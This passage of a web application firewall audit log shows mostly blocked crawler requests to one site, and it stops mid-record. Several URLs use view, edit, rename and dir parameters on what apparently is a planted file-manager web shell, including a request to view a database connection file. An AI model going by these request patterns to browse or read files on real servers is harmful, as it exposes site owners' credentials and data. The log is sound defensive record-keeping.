{"transaction":{"time":"13/Mar/2026:09:45:16.484233 +0100","transaction_id":"abPOnIB2aIMAFdsi8EHyXQAAAtc","remote_address":"216.73.216.152","remote_port":33116,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fatito.com%2Flisting6.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"0158a37878c3dc2016e47dfb2bd1ca9e","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13533943"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"0158a37878c3dc2016e47dfb2bd1ca9e","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/atito.com/listing6.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":309,"p2":2986,"p3":0,"p4":0,"p5":454,"sr":170,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.573174 +0100","transaction_id":"abPOnOEAMg66iR7kG38gywAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fagent-single.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9f3002b245d8a5d1ba68ab3cbfef44da","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291728"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"9f3002b245d8a5d1ba68ab3cbfef44da","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/agent-single.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":285,"p2":3278,"p3":0,"p4":0,"p5":549,"sr":176,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.670515 +0100","transaction_id":"abPOnOEAMg66iR7kG38gzAAAA0U","remote_address":"216.73.216.152","remote_port":33126,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2F.quarantaine%2Funzipper.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"dac8a4752418b28de314eedc9afcda69","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291731"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"dac8a4752418b28de314eedc9afcda69","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:view=/htdocs/.quarantaine/unzipper.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":213,"p2":2456,"p3":0,"p4":0,"p5":582,"sr":129,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.754875 +0100","transaction_id":"abPOnExHnLkyPWuTIW5cnAAAAZM","remote_address":"216.73.216.152","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito.com%2Fvideo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"49c9a68086a4f4b9e8f90447de572ad0","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042575"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"49c9a68086a4f4b9e8f90447de572ad0","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito.com/video& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":188,"p2":2086,"p3":0,"p4":0,"p5":408,"sr":124,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:16.847305 +0100","transaction_id":"abPOnIB2aIMAFdsi8EHyXgAAAsM","remote_address":"216.73.216.152","remote_port":60750,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fatito.com%2Fdashboard-review.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"65347174f36618c3259533ab82a20939","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"10291734"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"65347174f36618c3259533ab82a20939","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/atito.com/dashboard-review.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":275,"p2":2647,"p3":0,"p4":0,"p5":441,"sr":163,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:17.172088 +0100","transaction_id":"abPOnUxHnLkyPWuTIW5cngAAAZY","remote_address":"216.73.216.152","remote_port":33882,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Fproject.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"082c534a0af89a566607209f4d06f648","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2101713"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"082c534a0af89a566607209f4d06f648","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/project.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":258,"p2":2632,"p3":0,"p4":0,"p5":465,"sr":159,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:17.269216 +0100","transaction_id":"abPOnYB2aIMAFdsi8EHyYAAAAsM","remote_address":"216.73.216.152","remote_port":60750,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fapps.jmkconsulting-ci.com%2Findex.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2341e12b29b6b6312fad0f9c327902ec","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2101716"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2341e12b29b6b6312fad0f9c327902ec","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/apps.jmkconsulting-ci.com/index.php& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":269,"p2":2665,"p3":0,"p4":0,"p5":497,"sr":185,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:21.693069 +0100","transaction_id":"abPOoUxHnLkyPWuTIW5cpwAAAZM","remote_address":"114.119.129.50","remote_port":33136,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /shopdetail/167756251 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"114.119.129.50","X-Forwarded-Proto":"http","X-Request-Id":"deaa259b2ab5503a28371322c1b586cf","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2921219","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":500,"headers":{"Link":"<http://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\"","Expires":"Wed, 11 Jan 1984 05:00:00 GMT","Cache-Control":"no-cache, must-revalidate, max-age=0, no-store, private","X-Orig-Rid":"deaa259b2ab5503a28371322c1b586cf","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Connection":"close","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"error_messages":["[file \"mod_proxy_fcgi.c\"] [line 960] [level 3] AH01071: Got error 'PHP message: PHP Fatal error:  Cannot redeclare __() (previously declared in /htdocs/ptso.jmkconsulting-ci.com/wp-includes/l10n.php:306) in /htdocs/ptso.jmkconsulting-ci.com/wp-content/themes/agrios/404.php on line 109'"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":165,"p2":2978,"p3":0,"p4":0,"p5":274,"sr":101,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:34.628570 +0100","transaction_id":"abPOrqg_lPa2owFZ6_PvGgAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?edit=%2Fhtdocs%2Fnew_jmk%2Ffaq.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"e6ffa890c78594b2c0cf8da97daafd8b","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042638"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"e6ffa890c78594b2c0cf8da97daafd8b","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:edit=/htdocs/new_jmk/faq.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":224,"p2":1721,"p3":0,"p4":0,"p5":385,"sr":114,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:34.764736 +0100","transaction_id":"abPOrqg_lPa2owFZ6_PvGwAAAQU","remote_address":"216.73.216.152","remote_port":33144,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2F%2Fphp8.2.socket HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"2269f7721e22403f279c8fa127842511","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"13042641"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"2269f7721e22403f279c8fa127842511","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=//php8.2.socket& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":179,"p2":2554,"p3":0,"p4":0,"p5":418,"sr":141,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.041475 +0100","transaction_id":"abPOr2-XEucyBza91ntmWgAAAxQ","remote_address":"216.73.216.152","remote_port":36712,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=%2Fhtdocs%2Fatito.com%2Fdashboard-myprofile.html HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"a0f1606d505345efd2e76d1ca283350a","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345231"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"a0f1606d505345efd2e76d1ca283350a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:rename=/htdocs/atito.com/dashboard-myprofile.html& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":302,"p2":2267,"p3":0,"p4":0,"p5":496,"sr":142,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.554127 +0100","transaction_id":"abPOr2-XEucyBza91ntmYAAAAwM","remote_address":"216.73.216.152","remote_port":36524,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?dir=%2Fhtdocs%2Fatito.com%2Fimages HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"fc5c315f664488004faf8550cd63c258","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5345243"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"fc5c315f664488004faf8550cd63c258","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 403 (phase 2). [file \"/usr/share/modsecurity_lws/011_i360_otherapps.conf\"] [line \"435\"] [id \"77350583\"] [msg \"IM360 WAF: Rate limit exceeded for Claudebot Crawler Bot||Count:0||Range:||MVN:SESSION:cld_bot_block||MV:1||RSV:7.71||T:APACHE||\"] [severity \"CRITICAL\"] [tag \"service_im360\"]","Operator EQ matched 1 at TX:trapped. [file \"/usr/share/modsecurity_lws/016_i360_monitor.conf\"] [line \"111\"] [id \"33329\"] [msg \"IM360 WAF: IPRec G:dir=/htdocs/atito.com/images& P: F:||RSV:7.71||T:APACHE||\"] [severity \"DEBUG\"] [tag \"service_im360\"] [tag \"noshow\"]"],"action":{"intercepted":true,"phase":2,"message":"Operator EQ matched 1 at SESSION:cld_bot_block."},"stopwatch":{"p1":218,"p2":2342,"p3":0,"p4":0,"p5":569,"sr":136,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:09:45:35.584423 +0100","transaction_id":"abPOr2-XEucyBza91ntmYgAAAwM","remote_address":"216.73.216.152","remote_port":36524,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?view=%2Fhtdocs%2Fnew_jmk%2Fconnect-db.php HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"216.73.216.152","X-Forwarded-Proto":"http","X-Request-Id":"9ae92846060e8e920e3d9a254ff8ef4c","X-L-Admin-Auth":"0","Accept":"*/*","User-Agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ClaudeBot/1.0; +claudebot@anthropic.com)","X-CDN-REAL-IP":"10.1.40.198","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"claudebot","X-Forwarded-For":"10.1.40.198","Via":"1.1 squid-proxy-5b5d847c96-lpx6s (squid/6.13), 1.1 webdb01.lwspanel.com 